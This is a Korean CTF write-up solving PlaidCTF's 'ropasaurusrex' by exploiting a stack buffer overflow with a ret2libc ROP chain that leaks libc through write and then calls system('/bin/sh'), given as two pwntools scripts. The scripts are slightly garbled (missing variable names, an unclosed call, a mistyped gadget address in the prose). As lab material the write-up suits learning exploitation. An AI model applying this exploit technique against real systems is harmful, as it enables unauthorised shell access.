CTF write up

[plaid CTF] ropasaurusrex | write up

$1m0hYa 2019. 9. 25. 16:18

이번에는 제가 ROP를 처음 공부해볼때 풀어보았던 문제인데 한번 다루어 보겠습니다.

 

ropasaurusrex
0.00MB

일단 먼저 표층분석을 해보면,

 

32비트에다 스트립이 되어 있습니다.

그리고 NX만 활성화 되어 있습니다. -> 쉘코드 사용 불가능

 

기본적으로 실행을 해보니

먼저 아무거나 입력을 받고 그 후에 WIN 이라는 문자를 출력을 해주네요!

 

그렇다면 ida를 이용해서 분석해보겠습니다.

 

main 주소에서 sub_80483F4라는 함수를 실행시킨다하여 들어가봤습니다.

 

여기서 buf의 크기는 0x88이고,

read에서 0x100의 크기를 입력받는다는 것을 알수 있습니다.

 

즉, bof가 터진다는것을 알수 있다는 것이죠.

 

여기서 제가 사용할 기법은 rop입니다.

 

-- rop를 구성하기위해 구해야 할것들 --

1. write의 plt와 got

2. pppr과 pr의 주소

3. libc의 base주소

4. system과 /bin/sh의 주소

 

1. write의 plt와 got

ida의 왼쪽 창을 보시면 plt를 알수 있습니다.

 

write_plt = 0x804840c

 

got를 구해보겠습니다

 

저기에 있는 write를 더블클릭 해보면,

 

jmp         ds : off_8049614가 있습니다. 이곳을 더블클릭해보면,

 

간단하게 write의 got를 구할수 있습니다.

 

write_got = 0x8049614

 

2. pppr과 pr의 주소

리눅스에서 지원해주는 ROPgadget이라는 툴이 있는데, 이것을 이용하면

pop가젯을 쉽게 구할수 있습니다.

 

사용방법 : ROPgadget --binary [파일이름]

 

간단하게 구했습니다 ㅎㅎ!

 

pppr = 0x8048b6

pr = 0x80483c3

 

3. libc의 base주소

먼저 지금까지의 정보로 python 코드를 짜보았습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
  
= process('./ropasaurusrex')
= ELF('./ropasaurusrex')
= e.libc
 
write_plt = e.plt['write']
write_got = e.got['write']
 
pppr = 0x080484b6
pr = 0x080483c3
 
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(write_got)
pay += p32(4
          
p.sendline(pay) 
        
leak = u32(p.recv(4))
base = leak - l.symbols['write']
 
print "0x%x" % base
cs

 

 

여기서 write의 plt와 got, 그리고 libc안에 있는 offset을 쉽게 구하기위해 

 

pwntools에서 지원하는 ELF기능을 사용했습니다.

 

실행해보니

와우! 끝이 000인걸 보니 libc base가 잘 따인 모양이군요 ㅎㅎ

 

aslr에서는 끝의 3바이트는 항상 000으로 유지때문에 이것을 이용하여 libc base주소가 따인걸 알수 있었습니다.

 

4. system주소와 /bin/sh주소

먼저 ldd를 이용해 사용하는 libc의 종류를 알아보겠습니다.

 

여기 libc.so.6의 위치는 /lib32/libc.so.6이라고 하네요!

 

먼저 strings명령어를 통해 /bin/sh의 주소를 알아보겠습니다.

 

명령어 : strings -tx /lib32/libc.so.6 | grep /bin/sh

 

 

/bin/sh : 0x17eaaa

 

그리고 gdb를 이용해 system함수의 offset을 구하겠습니다.

 

여기 빨간색 동그라미 부분이 system함수의 offset주소 입니다

 

system_off = 0x3e9e0

 


여기 까지 구한 정보들

 

write_plt = 0x804840c

write_got = 0x8049614

 

pppr = 0x8048b6

pr = 0x80483c3

 

/bin/sh : 0x17eaaa

system_off = 0x3e9e0

 

이제 코드를 짜보겠습니다!

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
= process('./ropasaurusrex')
= ELF('./ropasaurusrex')
= e.libc
 
write_plt = e.plt['write']
write_got = e.got['write']
 
main = 0x804841D 
 
pppr = 0x080484b6
pr = 0x080483c3
 
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(write_got)
pay += p32(4)
pay += p32(main)
 
p.sendline(pay)
 
leak = u32(p.recv(4))
base = leak - l.symbols['write']
 
print "0x%x" % base
 
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(base+l.symbols['system'])
pay += p32(pr)
pay += p32(base+0x17eaaa)
 
p.sendline(pay)
 
p.interactive()
 
cs

 

 

저는 중간에 main으로 다시돌려 바로 system을 실행했습니다 ㅎㅎ

 

실행해볼까요?

 

깔쌈하게 CLEAR!!!